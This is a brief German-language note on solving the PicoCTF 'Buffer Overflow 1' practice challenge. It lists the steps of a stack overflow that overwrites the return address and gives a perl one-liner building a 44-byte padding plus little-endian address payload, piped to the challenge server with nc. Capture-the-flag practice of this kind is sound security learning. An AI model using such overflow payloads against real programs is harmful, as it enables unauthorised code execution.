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2022-09-28 19:22:48 +02:00

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PicoCTF - Buffer Overflow 1

https://play.picoctf.org/practice/challenge/258?category=6&page=1

  • Buffergröße bestimmen
  • Return Adresse überschreiben
  • Adresse der Zielfunktion finden nm -g -C vuln
  • Little Endian!
  • ./payload.sh 44 "\xf6\x91\x04\x08" | nc ...
  • perl -e 'print "A"x44 . "\xf6\x91\x04\x08\n"'